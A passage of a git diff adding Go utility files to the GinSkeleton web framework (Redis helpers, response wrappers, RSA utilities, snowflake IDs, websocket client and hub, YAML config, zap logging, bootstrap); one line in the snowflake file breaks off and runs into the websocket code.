([]string, error) { + return redis.Strings(reply, err) +} + +// Float64 类型转换 +func (r *RedisClient) Float64(reply interface{}, err error) (float64, error) { + return redis.Float64(reply, err) +} + +// int 类型转换 +func (r *RedisClient) Int(reply interface{}, err error) (int, error) { + return redis.Int(reply, err) +} + +// int64 类型转换 +func (r *RedisClient) Int64(reply interface{}, err error) (int64, error) { + return redis.Int64(reply, err) +} + +// int map 类型转换 +func (r *RedisClient) IntMap(reply interface{}, err error) (map[string]int, error) { + return redis.IntMap(reply, err) +} + +// Int64Map 类型转换 +func (r *RedisClient) Int64Map(reply interface{}, err error) (map[string]int64, error) { + return redis.Int64Map(reply, err) +} + +// int64s 类型转换 +func (r *RedisClient) Int64s(reply interface{}, err error) ([]int64, error) { + return redis.Int64s(reply, err) +} + +// uint64 类型转换 +func (r *RedisClient) Uint64(reply interface{}, err error) (uint64, error) { + return redis.Uint64(reply, err) +} + +// Bytes 类型转换 +func (r *RedisClient) Bytes(reply interface{}, err error) ([]byte, error) { + return redis.Bytes(reply, err) +} + +// 以上封装了很多最常见类型转换函数,其他您可以参考以上格式自行封装 diff --git a/GinSkeleton/app/utils/response/response.go b/GinSkeleton/app/utils/response/response.go new file mode 100644 index 0000000..22b0247 --- /dev/null +++ b/GinSkeleton/app/utils/response/response.go @@ -0,0 +1,102 @@ +package response + +import ( + "github.com/gin-gonic/gin" + "github.com/go-playground/validator/v10" + "goskeleton/app/global/consts" + "goskeleton/app/global/my_errors" + "goskeleton/app/utils/validator_translation" + "net/http" + "strings" +) + +func ReturnJson(Context *gin.Context, httpCode int, dataCode int, msg string, data interface{}) { + + //Context.Header("key2020","value2020") //可以根据实际情况在头部添加额外的其他信息 + Context.JSON(httpCode, gin.H{ + "code": dataCode, + "msg": msg, + "data": data, + }) +} + +//ReturnJsonFromString 将json字符窜以标准json格式返回(例如,从redis读取json格式的字符串,返回给浏览器json格式) +func ReturnJsonFromString(Context *gin.Context, httpCode int, jsonStr string) { + Context.Header("Content-Type", "application/json; charset=utf-8") + Context.String(httpCode, jsonStr) +} + +// 语法糖函数封装 + +//Success 直接返回成功 +func Success(c *gin.Context, msg string, data interface{}) { + ReturnJson(c, http.StatusOK, consts.CurdStatusOkCode, msg, data) +} + +//Fail 失败的业务逻辑 +func Fail(c *gin.Context, dataCode int, msg string, data interface{}) { + ReturnJson(c, http.StatusBadRequest, dataCode, msg, data) + c.Abort() +} + +// ErrorTokenBaseInfo token 基本的格式错误 +func ErrorTokenBaseInfo(c *gin.Context) { + ReturnJson(c, http.StatusBadRequest, http.StatusBadRequest, my_errors.ErrorsTokenBaseInfo, "") + //终止可能已经被加载的其他回调函数的执行 + c.Abort() +} + +//ErrorTokenAuthFail token 权限校验失败 +func ErrorTokenAuthFail(c *gin.Context) { + ReturnJson(c, http.StatusUnauthorized, http.StatusUnauthorized, my_errors.ErrorsNoAuthorization, "") + //终止可能已经被加载的其他回调函数的执行 + c.Abort() +} + +//ErrorTokenRefreshFail token不符合刷新条件 +func ErrorTokenRefreshFail(c *gin.Context) { + ReturnJson(c, http.StatusUnauthorized, http.StatusUnauthorized, my_errors.ErrorsRefreshTokenFail, "") + //终止可能已经被加载的其他回调函数的执行 + c.Abort() +} + +//token 参数校验错误 +func TokenErrorParam(c *gin.Context, wrongParam interface{}) { + ReturnJson(c, http.StatusUnauthorized, consts.ValidatorParamsCheckFailCode, consts.ValidatorParamsCheckFailMsg, wrongParam) + c.Abort() +} + +// ErrorCasbinAuthFail 鉴权失败,返回 405 方法不允许访问 +func ErrorCasbinAuthFail(c *gin.Context, msg interface{}) { + ReturnJson(c, http.StatusMethodNotAllowed, http.StatusMethodNotAllowed, my_errors.ErrorsCasbinNoAuthorization, msg) + c.Abort() +} + +//ErrorParam 参数校验错误 +func ErrorParam(c *gin.Context, wrongParam interface{}) { + ReturnJson(c, http.StatusBadRequest, consts.ValidatorParamsCheckFailCode, consts.ValidatorParamsCheckFailMsg, wrongParam) + c.Abort() +} + +// ErrorSystem 系统执行代码错误 +func ErrorSystem(c *gin.Context, msg string, data interface{}) { + ReturnJson(c, http.StatusInternalServerError, consts.ServerOccurredErrorCode, consts.ServerOccurredErrorMsg+msg, data) + c.Abort() +} + +// ValidatorError 翻译表单参数验证器出现的校验错误 +func ValidatorError(c *gin.Context, err error) { + if errs, ok := err.(validator.ValidationErrors); ok { + wrongParam := validator_translation.RemoveTopStruct(errs.Translate(validator_translation.Trans)) + ReturnJson(c, http.StatusBadRequest, consts.ValidatorParamsCheckFailCode, consts.ValidatorParamsCheckFailMsg, wrongParam) + } else { + errStr := err.Error() + // multipart:nextpart:eof 错误表示验证器需要一些参数,但是调用者没有提交任何参数 + if strings.ReplaceAll(strings.ToLower(errStr), " ", "") == "multipart:nextpart:eof" { + ReturnJson(c, http.StatusBadRequest, consts.ValidatorParamsCheckFailCode, consts.ValidatorParamsCheckFailMsg, gin.H{"tips": my_errors.ErrorNotAllParamsIsBlank}) + } else { + ReturnJson(c, http.StatusBadRequest, consts.ValidatorParamsCheckFailCode, consts.ValidatorParamsCheckFailMsg, gin.H{"tips": errStr}) + } + } + c.Abort() +} diff --git a/GinSkeleton/app/utils/rsa/rsa.go b/GinSkeleton/app/utils/rsa/rsa.go new file mode 100644 index 0000000..e1c3ef4 --- /dev/null +++ b/GinSkeleton/app/utils/rsa/rsa.go @@ -0,0 +1,82 @@ +package rsa +import( + "crypto/rand" + "crypto/rsa" + "crypto/x509" + "encoding/pem" + "encoding/base64" + "goskeleton/app/global/variable" + "fmt" +) +func GenerateRSAKeyPair() ([]byte, []byte, error) { + priKey, err := rsa.GenerateKey(rand.Reader, variable.ConfigYml.GetInt("RSA.keySize")) + if err != nil { + return nil, nil, err + } + pubKey := &priKey.PublicKey + + // 转换为字节切片 + priASN1 := x509.MarshalPKCS1PrivateKey(priKey) + priPEM := pem.EncodeToMemory(&pem.Block{ + Type: "PRIVATE KEY", + Bytes: priASN1, + }) + pubASN1, err := x509.MarshalPKIXPublicKey(pubKey) + if err != nil { + return nil, nil, err + } + pubPEM := pem.EncodeToMemory(&pem.Block{ + Type: "PUBLIC KEY", + Bytes: pubASN1, + }) + return pubPEM, priPEM, nil +} + +func DecryptWithPrivateKey(privateKey *rsa.PrivateKey, encryptedPassword []byte) ([]byte, error) { + decryptedBytes, err := rsa.DecryptPKCS1v15(rand.Reader, privateKey, encryptedPassword) + if err != nil { + return nil, fmt.Errorf("failed to decrypt password: %v", err) + } + return decryptedBytes, nil +} + +func DecodeBase64(encodedString string) ([]byte, error) { + decodedBytes, err := base64.StdEncoding.DecodeString(encodedString) + if err != nil { + return nil, fmt.Errorf("failed to decode base64 string: %v", err) + } + return decodedBytes, nil +} + + +func parsePKCS1PrivateKey(block *pem.Block) (*rsa.PrivateKey, error) { + privateKey, err := x509.ParsePKCS1PrivateKey(block.Bytes) + if err != nil { + return nil, fmt.Errorf("failed to parse PKCS1 private key: %v", err) + } + return privateKey, nil +} + +func parsePKCS8PrivateKey(block *pem.Block) (*rsa.PrivateKey, error) { + privateKey, err := x509.ParsePKCS8PrivateKey(block.Bytes) + if err != nil { + return nil, fmt.Errorf("failed to parse PKCS8 private key: %v", err) + } + return privateKey.(*rsa.PrivateKey), nil +} + +func ParsePrivateKeyFromPEM(pemKey []byte) (*rsa.PrivateKey, error) { + block, _ := pem.Decode(pemKey) + if block == nil { + return nil, fmt.Errorf("failed to parse PEM block") + } + + // 尝试解析 PKCS#1 格式 + privateKey, err := parsePKCS1PrivateKey(block) + if err == nil { + return privateKey, nil + } + + // 如果不是 PKCS#1 格式,尝试解析 PKCS#8 格式 + return parsePKCS8PrivateKey(block) +} \ No newline at end of file diff --git a/GinSkeleton/app/utils/snow_flake/snow_flake.go b/GinSkeleton/app/utils/snow_flake/snow_flake.go new file mode 100644 index 0000000..fa5bef3 --- /dev/null +++ b/GinSkeleton/app/utils/snow_flake/snow_flake.go @@ -0,0 +1,47 @@ +package snow_flake + +import ( + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/utils/snow_flake/snowflake_interf" + "sync" + "time" +) + +// 创建一个雪花算法生成器(生成工厂) +func CreateSnowflakeFactory() snowflake_interf.InterfaceSnowFlake { + return &snowflake{ + timestamp: 0, + machineId: variable.ConfigYml.GetInt64("SnowFlake.SnowFlakeMachineId"), + sequence: 0, + } +} + +type snowflake struct { + sync.Mutex + timestamp int64 + machineId int64 + sequence int64 +} + +// 生成分布式ID +func (s *snowflake) GetId() int64 { + s.Lock() + defer func() { + s.Unlock() + }() + now := time.Now().UnixNano() / 1e6 + if s.timestamp == now { + s.sequence = (s.sequence + 1) & consts.SequenceMask + if s.sequence == 0 { + for now <= s.timestamp { + now = time.Now().UnixNano() / 1e6 + } + } + } else { + s.sequence = 0 + } + s.timestamp = now + r := (now-consts.StartTimeStamp)<websocket + defer func() { + err := recover() + if err != nil { + if val, ok := err.(error); ok { + variable.ZapLog.Error(my_errors.ErrorsWebsocketOnOpenFail, zap.Error(val)) + } + } + }() + var upGrader = websocket.Upgrader{ + ReadBufferSize: variable.ConfigYml.GetInt("Websocket.WriteReadBufferSize"), + WriteBufferSize: variable.ConfigYml.GetInt("Websocket.WriteReadBufferSize"), + CheckOrigin: func(r *http.Request) bool { + return true + }, + } + + // 2.将http协议升级到websocket协议.初始化一个有效的websocket长连接客户端 + if wsConn, err := upGrader.Upgrade(context.Writer, context.Request, nil); err != nil { + variable.ZapLog.Error(my_errors.ErrorsWebsocketUpgradeFail + err.Error()) + return nil, false + } else { + if wsHub, ok := variable.WebsocketHub.(*Hub); ok { + c.Hub = wsHub + } + c.Conn = wsConn + c.Send = make(chan []byte, variable.ConfigYml.GetInt("Websocket.WriteReadBufferSize")) + c.PingPeriod = time.Second * variable.ConfigYml.GetDuration("Websocket.PingPeriod") + c.ReadDeadline = time.Second * variable.ConfigYml.GetDuration("Websocket.ReadDeadline") + c.WriteDeadline = time.Second * variable.ConfigYml.GetDuration("Websocket.WriteDeadline") + + if err := c.SendMessage(websocket.TextMessage, variable.WebsocketHandshakeSuccess); err != nil { + variable.ZapLog.Error(my_errors.ErrorsWebsocketWriteMgsFail, zap.Error(err)) + } + c.Conn.SetReadLimit(variable.ConfigYml.GetInt64("Websocket.MaxMessageSize")) // 设置最大读取长度 + c.Hub.Register <- c + c.State = 1 + c.ClientLastPongTime = time.Now() + return c, true + } + +} + +// 主要功能主要是实时接收消息 +func (c *Client) ReadPump(callbackOnMessage func(messageType int, receivedData []byte), callbackOnError func(err error), callbackOnClose func()) { + // 回调 onclose 事件 + defer func() { + err := recover() + if err != nil { + if realErr, isOk := err.(error); isOk { + variable.ZapLog.Error(my_errors.ErrorsWebsocketReadMessageFail, zap.Error(realErr)) + } + } + callbackOnClose() + }() + + // OnMessage事件 + for { + if c.State == 1 { + mt, bReceivedData, err := c.Conn.ReadMessage() + if err == nil { + callbackOnMessage(mt, bReceivedData) + } else { + // OnError事件读(消息出错) + callbackOnError(err) + break + } + } else { + // OnError事件(状态不可用,一般是程序事先检测到双方无法进行通信,进行的回调) + callbackOnError(errors.New(my_errors.ErrorsWebsocketStateInvalid)) + break + } + + } +} + +// 发送消息,请统一调用本函数进行发送 +// 消息发送时增加互斥锁,加强并发情况下程序稳定性 +// 提醒:开发者发送消息时,不要调用 c.Conn.WriteMessage(messageType, []byte(message)) 直接发送消息 +func (c *Client) SendMessage(messageType int, message string) error { + c.Lock() + defer func() { + c.Unlock() + }() + // 发送消息时,必须设置本次消息的最大允许时长(秒) + if err := c.Conn.SetWriteDeadline(time.Now().Add(c.WriteDeadline)); err != nil { + variable.ZapLog.Error(my_errors.ErrorsWebsocketSetWriteDeadlineFail, zap.Error(err)) + return err + } + if err := c.Conn.WriteMessage(messageType, []byte(message)); err != nil { + return err + } else { + return nil + } +} + +// 按照websocket标准协议实现隐式心跳,Server端向Client远端发送ping格式数据包,浏览器收到ping标准格式,自动将消息原路返回给服务器 +func (c *Client) Heartbeat() { + // 1. 设置一个时钟,周期性的向client远端发送心跳数据包 + ticker := time.NewTicker(c.PingPeriod) + defer func() { + err := recover() + if err != nil { + if val, ok := err.(error); ok { + variable.ZapLog.Error(my_errors.ErrorsWebsocketBeatHeartFail, zap.Error(val)) + } + } + ticker.Stop() // 停止该client的心跳检测 + }() + //2.浏览器收到服务器的ping格式消息,会自动响应pong消息,将服务器消息原路返回过来 + if c.ReadDeadline == 0 { + _ = c.Conn.SetReadDeadline(time.Time{}) + } else { + _ = c.Conn.SetReadDeadline(time.Now().Add(c.ReadDeadline)) + } + c.Conn.SetPongHandler(func(receivedPong string) error { + if c.ReadDeadline > time.Nanosecond { + _ = c.Conn.SetReadDeadline(time.Now().Add(c.ReadDeadline)) + } else { + _ = c.Conn.SetReadDeadline(time.Time{}) + } + // 客户端响应了服务端的ping消息以后,更新最近一次响应的时间 + c.ClientLastPongTime = time.Now() + //fmt.Println("浏览器收到ping标准格式,自动将消息原路返回给服务器:", receivedPong) // 接受到的消息叫做pong,实际上就是服务器发送出去的ping数据包 + return nil + }) + //3.自动心跳数据 + for { + select { + case <-ticker.C: + if c.State == 1 { + // 这里优先检查客户端最后一次响应ping消息的时间是否超过了服务端允许的最大时间 + // 这种检测针对断电、暴力测试中的拔网线很有用,因为直接断电、拔掉网线,客户端所有的回调函数(close、error等)相关的窗台数据无法传递出去,服务端的socket文件状态无法更新, + // 服务端无法在第一时间感知到客户端掉线 + serverAllowMaxOfflineSeconds := float64(variable.ConfigYml.GetInt("Websocket.HeartbeatFailMaxTimes")) * (float64(variable.ConfigYml.GetDuration("Websocket.PingPeriod"))) + if time.Now().Sub(c.ClientLastPongTime).Seconds() > serverAllowMaxOfflineSeconds { + c.State = 0 + c.Hub.UnRegister <- c // 掉线的客户端统一注销 + variable.ZapLog.Warn(my_errors.ErrorsWebsocketClientOfflineTimeout, zap.Float64("timeout(seconds): ", serverAllowMaxOfflineSeconds)) + return + } + + // 下面是正常的检测逻辑,只要正常关闭浏览器、通过操作按钮等退出客户端,以下代码就是有效的 + if err := c.SendMessage(websocket.PingMessage, variable.WebsocketServerPingMsg); err != nil { + c.HeartbeatFailTimes++ + if c.HeartbeatFailTimes > variable.ConfigYml.GetInt("Websocket.HeartbeatFailMaxTimes") { + c.State = 0 + c.Hub.UnRegister <- c // 掉线的客户端统一注销 + variable.ZapLog.Error(my_errors.ErrorsWebsocketBeatHeartsMoreThanMaxTimes, zap.Error(err)) + return + } + } else { + if c.HeartbeatFailTimes > 0 { + c.HeartbeatFailTimes-- + } + } + } else { + return + } + + } + } +} diff --git a/GinSkeleton/app/utils/websocket/core/hub.go b/GinSkeleton/app/utils/websocket/core/hub.go new file mode 100644 index 0000000..df9db68 --- /dev/null +++ b/GinSkeleton/app/utils/websocket/core/hub.go @@ -0,0 +1,32 @@ +package core + +type Hub struct { + //上线注册 + Register chan *Client + //下线注销 + UnRegister chan *Client + //所有在线客户端的内存地址 + Clients map[*Client]bool +} + +func CreateHubFactory() *Hub { + return &Hub{ + Register: make(chan *Client), + UnRegister: make(chan *Client), + Clients: make(map[*Client]bool), + } +} + +func (h *Hub) Run() { + for { + select { + case client := <-h.Register: + h.Clients[client] = true + case client := <-h.UnRegister: + if _, ok := h.Clients[client]; ok { + _ = client.Conn.Close() + delete(h.Clients, client) + } + } + } +} diff --git a/GinSkeleton/app/utils/yml_config/yml_config.go b/GinSkeleton/app/utils/yml_config/yml_config.go new file mode 100644 index 0000000..614d39d --- /dev/null +++ b/GinSkeleton/app/utils/yml_config/yml_config.go @@ -0,0 +1,214 @@ +package yml_config + +import ( + "github.com/fsnotify/fsnotify" + "github.com/spf13/viper" + "go.uber.org/zap" + "goskeleton/app/core/container" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/utils/yml_config/ymlconfig_interf" + "log" + "sync" + "time" +) + +// 由于 vipver 包本身对于文件的变化事件有一个bug,相关事件会被回调两次 +// 常年未彻底解决,相关的 issue 清单:https://github.com/spf13/viper/issues?q=OnConfigChange +// 设置一个内部全局变量,记录配置文件变化时的时间点,如果两次回调事件事件差小于1秒,我们认为是第二次回调事件,而不是人工修改配置文件 +// 这样就避免了 viper 包的这个bug + +var lastChangeTime time.Time +var containerFactory = container.CreateContainersFactory() + +func init() { + lastChangeTime = time.Now() +} + +// CreateYamlFactory 创建一个yaml配置文件工厂 +// 参数设置为可变参数的文件名,这样参数就可以不需要传递,如果传递了多个,我们只取第一个参数作为配置文件名 +func CreateYamlFactory(fileName ...string) ymlconfig_interf.YmlConfigInterf { + + yamlConfig := viper.New() + // 配置文件所在目录 + yamlConfig.AddConfigPath(variable.BasePath + "/config") + // 需要读取的文件名,默认为:config + if len(fileName) == 0 { + yamlConfig.SetConfigName("config") + } else { + yamlConfig.SetConfigName(fileName[0]) + } + //设置配置文件类型(后缀)为 yml + yamlConfig.SetConfigType("yml") + + if err := yamlConfig.ReadInConfig(); err != nil { + log.Fatal(my_errors.ErrorsConfigInitFail + err.Error()) + } + + return &ymlConfig{ + viper: yamlConfig, + mu: new(sync.Mutex), + } +} + +type ymlConfig struct { + viper *viper.Viper + mu *sync.Mutex +} + +//ConfigFileChangeListen 监听文件变化 +func (y *ymlConfig) ConfigFileChangeListen() { + y.viper.OnConfigChange(func(changeEvent fsnotify.Event) { + if time.Now().Sub(lastChangeTime).Seconds() >= 1 { + if changeEvent.Op.String() == "WRITE" { + y.clearCache() + lastChangeTime = time.Now() + } + } + }) + y.viper.WatchConfig() +} + +// keyIsCache 判断相关键是否已经缓存 +func (y *ymlConfig) keyIsCache(keyName string) bool { + if _, exists := containerFactory.KeyIsExists(variable.ConfigKeyPrefix + keyName); exists { + return true + } else { + return false + } +} + +// 对键值进行缓存 +func (y *ymlConfig) cache(keyName string, value interface{}) bool { + // 避免瞬间缓存键、值时,程序提示键名已经被注册的日志输出 + y.mu.Lock() + defer y.mu.Unlock() + if _, exists := containerFactory.KeyIsExists(variable.ConfigKeyPrefix + keyName); exists { + return true + } + return containerFactory.Set(variable.ConfigKeyPrefix+keyName, value) +} + +// 通过键获取缓存的值 +func (y *ymlConfig) getValueFromCache(keyName string) interface{} { + return containerFactory.Get(variable.ConfigKeyPrefix + keyName) +} + +// 清空已经缓存的配置项信息 +func (y *ymlConfig) clearCache() { + containerFactory.FuzzyDelete(variable.ConfigKeyPrefix) +} + +// Clone 允许 clone 一个相同功能的结构体 +func (y *ymlConfig) Clone(fileName string) ymlconfig_interf.YmlConfigInterf { + // 这里存在一个深拷贝,需要注意,避免拷贝的结构体操作对原始结构体造成影响 + var ymlC = *y + var ymlConfViper = *(y.viper) + (&ymlC).viper = &ymlConfViper + + (&ymlC).viper.SetConfigName(fileName) + if err := (&ymlC).viper.ReadInConfig(); err != nil { + variable.ZapLog.Error(my_errors.ErrorsConfigInitFail, zap.Error(err)) + } + return &ymlC +} + +// Get 一个原始值 +func (y *ymlConfig) Get(keyName string) interface{} { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName) + } else { + value := y.viper.Get(keyName) + y.cache(keyName, value) + return value + } +} + +// GetString 字符串格式返回值 +func (y *ymlConfig) GetString(keyName string) string { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(string) + } else { + value := y.viper.GetString(keyName) + y.cache(keyName, value) + return value + } + +} + +// GetBool 布尔格式返回值 +func (y *ymlConfig) GetBool(keyName string) bool { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(bool) + } else { + value := y.viper.GetBool(keyName) + y.cache(keyName, value) + return value + } +} + +// GetInt 整数格式返回值 +func (y *ymlConfig) GetInt(keyName string) int { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(int) + } else { + value := y.viper.GetInt(keyName) + y.cache(keyName, value) + return value + } +} + +// GetInt32 整数格式返回值 +func (y *ymlConfig) GetInt32(keyName string) int32 { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(int32) + } else { + value := y.viper.GetInt32(keyName) + y.cache(keyName, value) + return value + } +} + +// GetInt64 整数格式返回值 +func (y *ymlConfig) GetInt64(keyName string) int64 { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(int64) + } else { + value := y.viper.GetInt64(keyName) + y.cache(keyName, value) + return value + } +} + +// GetFloat64 小数格式返回值 +func (y *ymlConfig) GetFloat64(keyName string) float64 { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(float64) + } else { + value := y.viper.GetFloat64(keyName) + y.cache(keyName, value) + return value + } +} + +// GetDuration 时间单位格式返回值 +func (y *ymlConfig) GetDuration(keyName string) time.Duration { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(time.Duration) + } else { + value := y.viper.GetDuration(keyName) + y.cache(keyName, value) + return value + } +} + +// GetStringSlice 字符串切片数格式返回值 +func (y *ymlConfig) GetStringSlice(keyName string) []string { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).([]string) + } else { + value := y.viper.GetStringSlice(keyName) + y.cache(keyName, value) + return value + } +} diff --git a/GinSkeleton/app/utils/yml_config/ymlconfig_interf/yml_conf_interf.go b/GinSkeleton/app/utils/yml_config/ymlconfig_interf/yml_conf_interf.go new file mode 100644 index 0000000..c799f2a --- /dev/null +++ b/GinSkeleton/app/utils/yml_config/ymlconfig_interf/yml_conf_interf.go @@ -0,0 +1,19 @@ +package ymlconfig_interf + +import ( + "time" +) + +type YmlConfigInterf interface { + ConfigFileChangeListen() + Clone(fileName string) YmlConfigInterf + Get(keyName string) interface{} + GetString(keyName string) string + GetBool(keyName string) bool + GetInt(keyName string) int + GetInt32(keyName string) int32 + GetInt64(keyName string) int64 + GetFloat64(keyName string) float64 + GetDuration(keyName string) time.Duration + GetStringSlice(keyName string) []string +} diff --git a/GinSkeleton/app/utils/zap_factory/zap_factory.go b/GinSkeleton/app/utils/zap_factory/zap_factory.go new file mode 100644 index 0000000..b09f0a9 --- /dev/null +++ b/GinSkeleton/app/utils/zap_factory/zap_factory.go @@ -0,0 +1,73 @@ +package zap_factory + +import ( + "github.com/natefinch/lumberjack" + "go.uber.org/zap" + "go.uber.org/zap/zapcore" + "goskeleton/app/global/variable" + "log" + "time" +) + +func CreateZapFactory(entry func(zapcore.Entry) error) *zap.Logger { + + // 获取程序所处的模式: 开发调试 、 生产 + //variable.ConfigYml := yml_config.CreateYamlFactory() + appDebug := variable.ConfigYml.GetBool("AppDebug") + + // 判断程序当前所处的模式,调试模式直接返回一个便捷的zap日志管理器地址,所有的日志打印到控制台即可 + if appDebug == true { + if logger, err := zap.NewDevelopment(zap.Hooks(entry)); err == nil { + return logger + } else { + log.Fatal("创建zap日志包失败,详情:" + err.Error()) + } + } + + // 以下才是 非调试(生产)模式所需要的代码 + encoderConfig := zap.NewProductionEncoderConfig() + + timePrecision := variable.ConfigYml.GetString("Logs.TimePrecision") + var recordTimeFormat string + switch timePrecision { + case "second": + recordTimeFormat = "2006-01-02 15:04:05" + case "millisecond": + recordTimeFormat = "2006-01-02 15:04:05.000" + default: + recordTimeFormat = "2006-01-02 15:04:05" + + } + encoderConfig.EncodeTime = func(t time.Time, enc zapcore.PrimitiveArrayEncoder) { + enc.AppendString(t.Format(recordTimeFormat)) + } + encoderConfig.EncodeLevel = zapcore.CapitalLevelEncoder + encoderConfig.TimeKey = "created_at" // 生成json格式日志的时间键字段,默认为 ts,修改以后方便日志导入到 ELK 服务器 + + var encoder zapcore.Encoder + switch variable.ConfigYml.GetString("Logs.TextFormat") { + case "console": + encoder = zapcore.NewConsoleEncoder(encoderConfig) // 普通模式 + case "json": + encoder = zapcore.NewJSONEncoder(encoderConfig) // json格式 + default: + encoder = zapcore.NewConsoleEncoder(encoderConfig) // 普通模式 + } + + //写入器 + fileName := variable.BasePath + variable.ConfigYml.GetString("Logs.GoSkeletonLogName") + lumberJackLogger := &lumberjack.Logger{ + Filename: fileName, //日志文件的位置 + MaxSize: variable.ConfigYml.GetInt("Logs.MaxSize"), //在进行切割之前,日志文件的最大大小(以MB为单位) + MaxBackups: variable.ConfigYml.GetInt("Logs.MaxBackups"), //保留旧文件的最大个数 + MaxAge: variable.ConfigYml.GetInt("Logs.MaxAge"), //保留旧文件的最大天数 + Compress: variable.ConfigYml.GetBool("Logs.Compress"), //是否压缩/归档旧文件 + } + writer := zapcore.AddSync(lumberJackLogger) + // 开始初始化zap日志核心参数, + //参数一:编码器 + //参数二:写入器 + //参数三:参数级别,debug级别支持后续调用的所有函数写日志,如果是 fatal 高级别,则级别>=fatal 才可以写日志 + zapCore := zapcore.NewCore(encoder, writer, zap.InfoLevel) + return zap.New(zapCore, zap.AddCaller(), zap.Hooks(entry), zap.AddStacktrace(zap.WarnLevel)) +} diff --git a/GinSkeleton/bootstrap/init.go b/GinSkeleton/bootstrap/init.go new file mode 100644 index 0000000..8f4c2c5 --- /dev/null +++ b/GinSkeleton/bootstrap/init.go @@ -0,0 +1,116 @@ +package bootstrap + +import ( + _ "goskeleton/app/core/destroy" // 监听程序退出信号,用于资源的释放 + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/http/validator/common/register_validator" + "goskeleton/app/service/sys_log_hook" + "goskeleton/app/utils/casbin_v2" + "goskeleton/app/utils/gorm_v2" + "goskeleton/app/utils/snow_flake" + "goskeleton/app/utils/validator_translation" + "goskeleton/app/utils/websocket/core" + "goskeleton/app/utils/yml_config" + "goskeleton/app/utils/zap_factory" + "log" + "os" +) + +// 检查项目必须的非编译目录是否存在,避免编译后调用的时候缺失相关目录 +func checkRequiredFolders() { + //1.检查配置文件是否存在 + if _, err := os.Stat(variable.BasePath + "/config/config.yml"); err != nil { + log.Fatal(my_errors.ErrorsConfigYamlNotExists + err.Error()) + } + if _, err := os.Stat(variable.BasePath + "/config/gorm_v2.yml"); err != nil { + log.Fatal(my_errors.ErrorsConfigGormNotExists + err.Error()) + } + //2.检查public目录是否存在 + if _, err := os.Stat(variable.BasePath + "/public/"); err != nil { + log.Fatal(my_errors.ErrorsPublicNotExists + err.Error()) + } + //3.检查storage/logs 目录是否存在 + if _, err := os.Stat(variable.BasePath + "/storage/logs/"); err != nil { + log.Fatal(my_errors.ErrorsStorageLogsNotExists + err.Error()) + } + // 4.自动创建软连接、更好的管理静态资源 + if _, err := os.Stat(variable.BasePath + "/public/storage"); err == nil { + if err = os.RemoveAll(variable.BasePath + "/public/storage"); err != nil { + log.Fatal(my_errors.ErrorsSoftLinkDeleteFail + err.Error()) + } + } + if err := os.Symlink(variable.BasePath+"/storage/app", variable.BasePath+"/public/storage"); err != nil { + log.Fatal(my_errors.ErrorsSoftLinkCreateFail + err.Error()) + } +} + +func init() { + // 1. 初始化 项目根路径,参见 variable 常量包,相关路径:app\global\variable\variable.go + + //2.检查配置文件以及日志目录等非编译性的必要条件 + checkRequiredFolders() + + //3.初始化表单参数验证器,注册在容器(Web、Api共用容器) + register_validator.WebRegisterValidator() + register_validator.ApiRegisterValidator() + + // 4.启动针对配置文件(confgi.yml、gorm_v2.yml)变化的监听, 配置文件操作指针,初始化为全局变量 + variable.ConfigYml = yml_config.CreateYamlFactory() + variable.ConfigYml.ConfigFileChangeListen() + // config>gorm_v2.yml 启动文件变化监听事件 + variable.ConfigGormv2Yml = variable.ConfigYml.Clone("gorm_v2") + variable.ConfigGormv2Yml.ConfigFileChangeListen() + + // 5.初始化全局日志句柄,并载入日志钩子处理函数 + variable.ZapLog = zap_factory.CreateZapFactory(sys_log_hook.ZapLogHandler) + + // 6.根据配置初始化 gorm mysql 全局 *gorm.Db + if variable.ConfigGormv2Yml.GetInt("Gormv2.Mysql.IsInitGlobalGormMysql") == 1 { + if dbMysql, err := gorm_v2.GetOneMysqlClient(); err != nil { + log.Fatal(my_errors.ErrorsGormInitFail + err.Error()) + } else { + variable.GormDbMysql = dbMysql + } + } + // 根据配置初始化 gorm sqlserver 全局 *gorm.Db + if variable.ConfigGormv2Yml.GetInt("Gormv2.Sqlserver.IsInitGlobalGormSqlserver") == 1 { + if dbSqlserver, err := gorm_v2.GetOneSqlserverClient(); err != nil { + log.Fatal(my_errors.ErrorsGormInitFail + err.Error()) + } else { + variable.GormDbSqlserver = dbSqlserver + } + } + // 根据配置初始化 gorm postgresql 全局 *gorm.Db + if variable.ConfigGormv2Yml.GetInt("Gormv2.PostgreSql.IsInitGlobalGormPostgreSql") == 1 { + if dbPostgre, err := gorm_v2.GetOnePostgreSqlClient(); err != nil { + log.Fatal(my_errors.ErrorsGormInitFail + err.Error()) + } else { + variable.GormDbPostgreSql = dbPostgre + } + } + + // 7.雪花算法全局变量 + variable.SnowFlake = snow_flake.CreateSnowflakeFactory() + + // 8.websocket Hub中心启动 + if variable.ConfigYml.GetInt("Websocket.Start") == 1 { + // websocket 管理中心hub全局初始化一份 + variable.WebsocketHub = core.CreateHubFactory() + if Wh, ok := variable.WebsocketHub.(*core.Hub); ok { + go Wh.Run() + } + } + + // 9.casbin 依据配置文件设置参数(IsInit=1)初始化 + if variable.ConfigYml.GetInt("Casbin.IsInit") == 1 { + var err error + if variable.Enforcer, err = casbin_v2.InitCasbinEnforcer(); err != nil { + log.Fatal(err.Error()) + } + } + //10.全局注册 validator 错误翻译器,zh 代表中文,en 代表英语 + if err := validator_translation.InitTrans("zh"); err != nil { + log.Fatal(my_errors.ErrorsValidatorTransInitFail + err.Error()) + } +} diff --git a/GinSkeleton/cmd/api/main.go b/GinSkeleton/cmd/api/main.go new file mode 100644 index 0000000..5459ee8 --- /dev/null +++ b/GinSkeleton/cmd/api/main.go @@ -0,0 +1,13 @@ +package main + +import ( + "goskeleton/app/global/variable" + _ "goskeleton/bootstrap" + "goskeleton/routers" +) + +// 这里可以存放门户类网站入口 +func main() { + router := routers.InitApiRouter() + _ = 